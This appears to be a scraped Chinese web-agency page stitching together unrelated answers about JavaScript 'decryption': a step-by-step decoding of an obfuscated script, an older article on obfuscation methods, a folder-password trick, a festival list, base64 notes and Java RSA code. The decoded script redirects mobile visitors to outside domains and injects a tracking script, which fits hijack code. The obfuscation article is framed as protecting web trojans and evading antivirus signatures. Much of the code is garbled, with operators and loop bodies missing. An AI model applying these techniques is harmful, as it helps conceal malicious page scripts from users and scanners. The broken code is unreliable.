网站建设资讯

NEWS

网站建设资讯

javascript解密,js源码解密

请问一下这个javascript文件如何解密呢?

利用Windows自带功能我们就能轻松的为文件夹设定密码。

创新互联公司,为您提供成都网站建设成都网站制作、网站营销推广、网站开发设计,对服务成都小搅拌车等多个行业拥有丰富的网站建设及推广经验。创新互联公司网站建设公司成立于2013年,提供专业网站制作报价服务,我们深知市场的竞争激烈,认真对待每位客户,为客户提供赏心悦目的作品。 与客户共同发展进步,是我们永远的责任!

1.在Windows 9X/Me/2000中

进入要加密的文件夹,点击右键,在弹出的菜单中选择“自定义文件夹“。接下来在向导中点击“下一步”,选择“自定义”并勾选“选择或编辑该文件夹的Html模板”,在模板类型中选择“标准”,并选中“编辑该模板”,点击下一步(在Win98中稍有不同,直接在向导中选择“创建或编辑HTML文档”即可)。此时将会打开一个名为“Folder”的文本文件。在该文件中找到<script language="javascript">字段,在其下方输入以下内容(中文双引号内为注释内容,不需要输入):

var pass=prompt("Please Enter the Password");“prompt命令后的括号内输入进入文件夹后的提示用语,可以为中文。分号可省略。可此行必须单独一行”

if(pass!="123")“密码为123,也可以设置为其他密码”

{window.location="c:"}“若密码错误,则进入C盘,也可以设为别的分区,但是只能为根目录”

保存后退出该文件设置便可以起效。folder.htt文件在创建后,下次需要更改设置我们就可以直接在文件夹中找到folder.htt文件,用记事本打开后进行修改,保存后设置即可生效。若是在WinMe操作系统,则没有<script language="javascript">字段,我们要找的字段是<script>,把上面的内容放在该字段后即可。

JavaScript解密

第一步解码:

var _$ = ["\x77\x66", "\x3f", "\x26\x74\x3d\x7a\x72", '\x54\x72\x69\x64\x65\x6e\x74', '\x50\x72\x65\x73\x74\x6f', '\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74', '\x47\x65\x63\x6b\x6f', '\x4b\x48\x54\x4d\x4c', '\x41\x6e\x64\x72\x6f\x69\x64', '\x4c\x69\x6e\x75\x78', '\x69\x50\x68\x6f\x6e\x65', '\x69\x50\x61\x64', '\x53\x61\x66\x61\x72\x69', "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f", '\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f', '\x26\x74\x69\x64\x3d\x31\x35', "\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];

var a = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src = a["\x73\x70\x6c\x69\x74"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],

d = navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];

return {

trident: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])  -0x1,

presto: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])  -0x1,

webKit: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])  -0x1,

gecko: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])  -0x1  c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7]) == -0x1,

mobile: !!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),

ios: !!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])  -0x1 || c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])  -0x1,

iPhone: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])  -0x1,

iPad: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])  -0x1,

webApp: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12]) == -0x1

}

} (),

language: (navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"] || navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()

};

if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"] != false) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[13] + src

} else if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"] != false)) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[14] + src + _$[15]

};

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);

第二步解码:

var _$ = ["wf", "?", "t=zr", 'Trident', 'presto', 'AppleWebkit', 'Gecko', 'kHTML', 'Android', 'Linux', 'iphone', 'ipad', 'Safari', 'tid=15', "script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script"

];

var a = window["document"]["getElementById"](_$[0])["src"];src = a["split"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["userAgent"],

d = navigator["appVersion"];

return {

trident: c["indexOf"](_$[3])  -0x1,

presto: c["indexOf"](_$[4])  -0x1,

webKit: c["indexOf"](_$[5])  -0x1,

gecko: c["indexOf"](_$[6])  -0x1  c["indexOf"](_$[7]) == -0x1,

mobile: !!c["match"](/AppleWebKit.*Mobile.*/),

ios: !!c["match"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["indexOf"](_$[8])  -0x1 || c["indexOf"](_$[9])  -0x1,

iPhone: c["indexOf"](_$[10])  -0x1,

iPad: c["indexOf"](_$[11])  -0x1,

webApp: c["indexOf"](_$[12]) == -0x1

}

} (),

language: (navigator["browserLanguage"] || navigator["language"])["toLower\x43ase"]()

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

window["location"]["href"] = _$[13] + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

window["location"]["href"] = _$[14] + src + _$[15]

};

window["document"]["writeln"](_$[16]);

第三步解码

var a = document.getElementById('wf').src;

src = a.split('?')[1] + 't=zr';

var b = {

versions: function() {

var c = navigator.userAgent,

d = navigator.appVersion;

return {

trident: c.indexOf('Trident')  -1,

presto: c.indexOf( 'presto')  -1,

webKit: c.indexOf('AppleWebkit')  -1,

gecko: c.indexOf('Gecko')  -1  c.indexOf('kHTML') == -1,

mobile: !!c.match.(/AppleWebKit.*Mobile.*/),

ios: !!c.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c.indexOf('Android')  -1 || c.indexOf('Linux')  -1,

iPhone: c.indexOf('iphone')  -1,

iPad: c.indexOf('ipad')  -1,

webApp: c.indexOf('Safari') == -1

}

} (),

language: (navigator.browserLanguage || navigator.language).toLowerCase();

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

location.href =  '?' + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

location.href  =  '?' + src + 'tid=15'

};

document.writeln('script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script');

javascript 已知加密方法,求解密函数。

JavaScript加密解密7种方法

作者:不详 来源:DOT技术信息网 日期:2007-11-27 11:30:05

--------------------------------------------------------------------------------

本文一共介绍了七种javascript加密方法:

在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^

但我们也应该清楚地认识到因为javascript代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中javascript代码的加密解密技术。

以加密下面的javascript代码为例:

SCRIPT LANGUAGE="javascript"

alert("《我爱一起》");

/SCRIPT

一:最简单的加密解密

大家对于javascript函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:

alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点javascript代码重新把它加密如下:

%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

呵呵!如何?这次是完全都加密了!

当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查javascript代码并执行,必选项 codeString 参数是包含有效 javascript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:

SCRIPT LANGUAGE="javascript"

var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");

eval(code)

/SCRIPT

是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵

二:转义字符""的妙用

大家可能对转义字符""不太熟悉,但对于javascript提供了一些特殊字符如:n (换行)、 r (回车)、' (单引号)等应该是有所了解的吧?其实""后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"141"或"x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:

八进制转义字符串如下:

SCRIPT LANGUAGE="javascript"

eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")

/SCRIPT

十六进制转义字符串如下:

SCRIPT LANGUAGE="javascript"

eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")

/SCRIPT

这次没有了解码函数,因为javascript执行时会自行转换,同样解码也是很简单如下:

SCRIPT LANGUAGE="javascript"

alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")

/SCRIPT

就会弹出对话框告诉你解密后的结果!

三:使用Microsoft出品的脚本编码器Script Encoder来进行编码

工具的使用就不多介绍啦!我是直接使用javascript调用控件Scripting.Encoder完成的编码!代码如下:

SCRIPT LANGUAGE="javascript"

var Senc=new ActiveXObject("Scripting.Encoder");

var code='SCRIPT LANGUAGE="javascript"rnalert("《我爱一起》");rn/SCRIPT';

var Encode=Senc.EncodeScriptFile(".htm",code,0,"");

alert(Encode);

/SCRIPT

编码后的结果如下:

SCRIPT LANGUAGE="JScript.Encode"#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@/SCRIPT

够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:

SCRIPT LANGUAGE="JScript.Encode"

function decode()

alert(decode.toString());

/SCRIPT

咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!

如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:

window.execScript( sExpression, sLanguage )

参数:

sExpression: 必选项。字符串(String)。要被执行的代码。

sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript

使用时,前面的"window"可以省略不写!

利用它我们可以很好的运行编码后的javascript代码,如下:

SCRIPT LANGUAGE="javascript"

execScript("#@~^FgAAAA==@#@lsDD`J我爱一起r#p@#@FgMAAA==^#~@","JScript.Encode")

/SCRIPT

你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!

四:任意添加NUL空字符(十六进制00H)

一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的javascript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")

S C RI P T L ANG U A G E =" J a v a S c r i p t "

a l er t (" 我 爱 一 起") ;

/ SC R I P T

如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!

五:无用内容混乱以及换行空格TAB大法

在javascript代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用""来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:

SCRIPT LANGUAGE="javascript"

"xajgxsadffgds";1234567890

625623216;var $=0;alert//@$%%*()((^%^

//cctv function//

(//hhsaasajx xc

/*

asjgdsgu*/

"我爱一起"//ashjgfgf

/*

@#%$^%$96667r45fggbhytjty

*/

//window

)

;"#@$#%@#432hu";212351436

/SCRIPT

至少如果我看到这样的代码是不会有心思去分析它的,你哪?

六:自写解密函数法

这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,加密代码如下(详细参照文件"加密.htm"):

SCRIPT LANGUAGE="javascript"

function compile(code)

{

var c=String.fromCharCode(code.charCodeAt(0)+code.length);

for(var i=1;icode.length;i++)

alert(escape(c));

}

compile('alert("《我爱一起》");')

/SCRIPT

运行得到加密结果为:

o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd

相应的加密后解密的代码如下:

SCRIPT LANGUAGE="javascript"

function uncompile(code)

{

code=unescape(code);

var c=String.fromCharCode(code.charCodeAt(0)-code.length);

for(var i=1;icode.length;i++)

return c;

}

eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));

/SCRIPT

七:错误的利用

利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子

SCRIPT LANGUAGE="javascript"

var a='alert("《我爱一起》");';

var c="";

for(var i=0;ia.length;i++)

alert(c);

//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的

//现在变量c就是加密后的代码

//下面的函数t()先假设初始密码为0,解密执行,

//遇到错误则把密码加1,然后接着解密执行,直到正确运行

var d=c; //保存加密后的代码

var b=0; //假定初始密码为0

t();

function t()catch(e){

c="";

for(var i=0;id.length;i++)

b+=1;

t();

//setTimeout("t()",0);

}

}

/SCRIPT

JS脚本解密

var sFtv = new Array(

"0101*元旦",

"0101 小勇生日*_*",

"0214 情人节",

"0308 妇女节",

"0312 植树节",

"0315 消费者权益日",

"0401 愚人节",

"0501 劳动节",

"0504 青年节",

"0512 护士节",

"0601 儿童节",

"0701 建党节 香港回归纪念日",

"0711 老爹生日*_*",

"0801 建军节",

"0808 父亲节",

"0909 毛泽东逝世纪念日",

"0910 教师节",

"0928 孔子诞辰",

"1001*国庆节",

"1006 老人节",

"1024 联合国日",

"1031 万圣节(鬼节)",

"1112 孙中山诞辰纪念日",

"1129 老妈生日*_*",

"1217 小谭生日*_*",

"1220 澳门回归纪念日",

"1224*圣诞节",

"1225*平安夜",

"1226 毛泽东诞辰纪念日",

"1231 小汪生日^@^")

var lFtv = new Array(

"0101*春节",

"0107*人日",

"0115*元宵节",

"0125 填仓节",

"0126 生菜会",

"0202 龙头节",

"0206 东华帝君诞",

"0215 涅盘节",

"0219 观音诞",

"0323 妈祖诞、天后诞",

"0408 牛王诞",

"0505*端午节",

"0508 龙母诞",

"0520 分龙节",

"0530*老爹生日^@^",

"0606 姑姑节",

"0616 鲁班节",

"0624 关帝节",

"0630 围香节",

"0707 七夕情人节",

"0715 中元节(鬼节)",

"0802 灶君诞",

"0827 先师诞",

"0815*中秋节",

"0909 重阳节",

"1001 祭祖节、祀靴节",

"1025 感天上帝诞",

"1019*老妈生日^@^",

"1106*小谭生日^@^",

"1208 腊八节",

"1210*小勇生日^@^",

"1220 鲁班公诞",

"1224 小年(祀灶)",

"0100*除夕")

var wFtv = new Array(

"0231 总统日",

"0340 复活节",

"0520 母亲节",

"0531 胜利日",

"0716 合作节",

"0730 被奴役国家周",

"0911 西方劳动节",

"1011 世界住房日",

"1021 美国哥伦布纪念日",

"1144 感恩节")

javascript是不是自带了base64加密、解密函数?是什么?

是的,解密函数为:

window.btoa("test");//"dGVzdA=="

window.atob("dGVzdA==");//"test"

为什么要使用Base64加密呢?

Base64编码的作用:由于某些系统中只能使用ASCII字符。Base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法。它使用下面表中所使用的字符与编码。

而且base64特别适合在http,mime协议下快速传输数据。

base64其实不是安全领域下的加密解密算法。虽然有时候经常看到所谓的base64加密解密。其实base64只能算是一个编码算法,对数据内容进行编码来适合传输。虽然base64编码过后原文也变成不能看到的字符格式,但是这种方式很初级,很简单。

Base64编码方法要求把每三个8Bit的字节转换为四个6Bit的字节,其中,转换之后的这四个字节中每6个有效bit为是有效数据,空余的那两个 bit用0补上成为一个字节。因此Base64所造成数据冗余不是很严重,Base64是当今比较流行的编码方法,因为它编起来速度快而且简单。

如何实现用javascript实现rsa加解密

服务端生成公钥与私钥,保存。

客户端在请求到登录页面后,随机生成一字符串。

后此随机字符串作为密钥加密密码,再用从服务端获取到的公钥加密生成的随机字符串

将此两段密文传入服务端,服务端用私钥解出随机字符串,再用此私钥解出加密的密文。这其中有一个关键是解决服务端的公钥,传入客户端,客户端用此公钥加密字符串后,后又能在服务端用私钥解出。

步骤:

服务端的RSA  Java实现:

/** 

*  

*/  

package com.sunsoft.struts.util;  

import java.io.ByteArrayOutputStream;  

import java.io.FileInputStream;  

import java.io.FileOutputStream;  

import java.io.ObjectInputStream;  

import java.io.ObjectOutputStream;  

import java.math.BigInteger;  

import java.security.KeyFactory;  

import java.security.KeyPair;  

import java.security.KeyPairGenerator;  

import java.security.NoSuchAlgorithmException;  

import java.security.PrivateKey;  

import java.security.PublicKey;  

import java.security.SecureRandom;  

import java.security.interfaces.RSAPrivateKey;  

import java.security.interfaces.RSAPublicKey;  

import java.security.spec.InvalidKeySpecException;  

import java.security.spec.RSAPrivateKeySpec;  

import java.security.spec.RSAPublicKeySpec;  

import javax.crypto.Cipher;  

/** 

* RSA 工具类。提供加密,解密,生成密钥对等方法。 

* 需要到

下载bcprov-jdk14-123.jar。 

*  

*/  

public class RSAUtil {  

/** 

* * 生成密钥对 * 

*  

* @return KeyPair * 

* @throws EncryptException 

*/  

public static KeyPair generateKeyPair() throws Exception {  

try {  

KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA",  

new org.bouncycastle.jce.provider.BouncyCastleProvider());  

final int KEY_SIZE = 1024;// 没什么好说的了,这个值关系到块加密的大小,可以更改,但是不要太大,否则效率会低  

keyPairGen.initialize(KEY_SIZE, new SecureRandom());  

KeyPair keyPair = keyPairGen.generateKeyPair();  

saveKeyPair(keyPair);  

return keyPair;  

} catch (Exception e) {  

throw new Exception(e.getMessage());  

}  

}  

public static KeyPair getKeyPair()throws Exception{  

FileInputStream fis = new FileInputStream("C:/RSAKey.txt");  

ObjectInputStream oos = new ObjectInputStream(fis);  

KeyPair kp= (KeyPair) oos.readObject();  

oos.close();  

fis.close();  

return kp;  

}  

public static void saveKeyPair(KeyPair kp)throws Exception{  

FileOutputStream fos = new FileOutputStream("C:/RSAKey.txt");  

ObjectOutputStream oos = new ObjectOutputStream(fos);  

//生成密钥  

oos.writeObject(kp);  

oos.close();  

fos.close();  

}  

/** 

* * 生成公钥 * 

*  

* @param modulus * 

* @param publicExponent * 

* @return RSAPublicKey * 

* @throws Exception 

*/  

public static RSAPublicKey generateRSAPublicKey(byte[] modulus,  

byte[] publicExponent) throws Exception {  

KeyFactory keyFac = null;  

try {  

keyFac = KeyFactory.getInstance("RSA",  

new org.bouncycastle.jce.provider.BouncyCastleProvider());  

} catch (NoSuchAlgorithmException ex) {  

throw new Exception(ex.getMessage());  

}  

RSAPublicKeySpec pubKeySpec = new RSAPublicKeySpec(new BigInteger(  

modulus), new BigInteger(publicExponent));  

try {  

return (RSAPublicKey) keyFac.generatePublic(pubKeySpec);  

} catch (InvalidKeySpecException ex) {  

throw new Exception(ex.getMessage());  

}  

}  

/** 

* * 生成私钥 * 

*  

* @param modulus * 

* @param privateExponent * 

* @return RSAPrivateKey * 

* @throws Exception 

*/  

public static RSAPrivateKey generateRSAPrivateKey(byte[] modulus,  

byte[] privateExponent) throws Exception {  

KeyFactory keyFac = null;  

try {  

keyFac = KeyFactory.getInstance("RSA",  

new org.bouncycastle.jce.provider.BouncyCastleProvider());  

} catch (NoSuchAlgorithmException ex) {  

throw new Exception(ex.getMessage());  

}  

RSAPrivateKeySpec priKeySpec = new RSAPrivateKeySpec(new BigInteger(  

modulus), new BigInteger(privateExponent));  

try {  

return (RSAPrivateKey) keyFac.generatePrivate(priKeySpec);  

} catch (InvalidKeySpecException ex) {  

throw new Exception(ex.getMessage());  

}  

}  

/** 

* * 加密 * 

*  

* @param key 

*            加密的密钥 * 

* @param data 

*            待加密的明文数据 * 

* @return 加密后的数据 * 

* @throws Exception 

*/  

public static byte[] encrypt(PublicKey pk, byte[] data) throws Exception {  

try {  

Cipher cipher = Cipher.getInstance("RSA",  

new org.bouncycastle.jce.provider.BouncyCastleProvider());  

cipher.init(Cipher.ENCRYPT_MODE, pk);  

int blockSize = cipher.getBlockSize();// 获得加密块大小,如:加密前数据为128个byte,而key_size=1024  

// 加密块大小为127  

// byte,加密后为128个byte;因此共有2个加密块,第一个127  

// byte第二个为1个byte  

int outputSize = cipher.getOutputSize(data.length);// 获得加密块加密后块大小  

int leavedSize = data.length % blockSize;  

int blocksSize = leavedSize != 0 ? data.length / blockSize + 1  

: data.length / blockSize;  

byte[] raw = new byte[outputSize * blocksSize];  

int i = 0;  

while (data.length - i * blockSize  0) {  

if (data.length - i * blockSize  blockSize)  

cipher.doFinal(data, i * blockSize, blockSize, raw, i  

* outputSize);  

else  

cipher.doFinal(data, i * blockSize, data.length - i  

* blockSize, raw, i * outputSize);  

// 这里面doUpdate方法不可用,查看源代码后发现每次doUpdate后并没有什么实际动作除了把byte[]放到  

// ByteArrayOutputStream中,而最后doFinal的时候才将所有的byte[]进行加密,可是到了此时加密块大小很可能已经超出了  

// OutputSize所以只好用dofinal方法。  

i++;  

}  

return raw;  

} catch (Exception e) {  

throw new Exception(e.getMessage());  

}  

}  

/** 

* * 解密 * 

*  

* @param key 

*            解密的密钥 * 

* @param raw 

*            已经加密的数据 * 

* @return 解密后的明文 * 

* @throws Exception 

*/  

public static byte[] decrypt(PrivateKey pk, byte[] raw) throws Exception {  

try {  

Cipher cipher = Cipher.getInstance("RSA",  

new org.bouncycastle.jce.provider.BouncyCastleProvider());  

cipher.init(cipher.DECRYPT_MODE, pk);  

int blockSize = cipher.getBlockSize();  

ByteArrayOutputStream bout = new ByteArrayOutputStream(64);  

int j = 0;  

while (raw.length - j * blockSize  0) {  

bout.write(cipher.doFinal(raw, j * blockSize, blockSize));  

j++;  

}  

return bout.toByteArray();  

} catch (Exception e) {  

throw new Exception(e.getMessage());  

}  

}  

/** 

* * * 

*  

* @param args * 

* @throws Exception 

*/  

public static void main(String[] args) throws Exception {  

RSAPublicKey rsap = (RSAPublicKey) RSAUtil.generateKeyPair().getPublic();  

String test = "hello world";  

byte[] en_test = encrypt(getKeyPair().getPublic(),test.getBytes());  

byte[] de_test = decrypt(getKeyPair().getPrivate(),en_test);  

System.out.println(new String(de_test));  

}  

}

测试页面IndexAction.java:

/* 

* Generated by MyEclipse Struts 

* Template path: templates/java/JavaClass.vtl 

*/  

package com.sunsoft.struts.action;  

import java.security.interfaces.RSAPrivateKey;  

import java.security.interfaces.RSAPublicKey;  

import javax.servlet.http.HttpServletRequest;  

import javax.servlet.http.HttpServletResponse;  

import org.apache.struts.action.Action;  

import org.apache.struts.action.ActionForm;  

import org.apache.struts.action.ActionForward;  

import org.apache.struts.action.ActionMapping;  

import com.sunsoft.struts.util.RSAUtil;  

/**  

* MyEclipse Struts 

* Creation date: 06-28-2008 

*  

* XDoclet definition: 

* @struts.action validate="true" 

*/  

public class IndexAction extends Action {  

/* 

* Generated Methods 

*/  

/**  

* Method execute 

* @param mapping 

* @param form 

* @param request 

* @param response 

* @return ActionForward 

*/  

public ActionForward execute(ActionMapping mapping, ActionForm form,  

HttpServletRequest request, HttpServletResponse response)throws Exception {  

RSAPublicKey rsap = (RSAPublicKey) RSAUtil.getKeyPair().getPublic();  

String module = rsap.getModulus().toString(16);  

String empoent = rsap.getPublicExponent().toString(16);  

System.out.println("module");  

System.out.println(module);  

System.out.println("empoent");  

System.out.println(empoent);  

request.setAttribute("m", module);  

request.setAttribute("e", empoent);  

return mapping.findForward("login");  

}  

}

通过此action进入登录页面,并传入公钥的 Modulus 与PublicExponent的hex编码形式。


网站名称:javascript解密,js源码解密
网页URL:http://cdweb.net/article/dssjhhs.html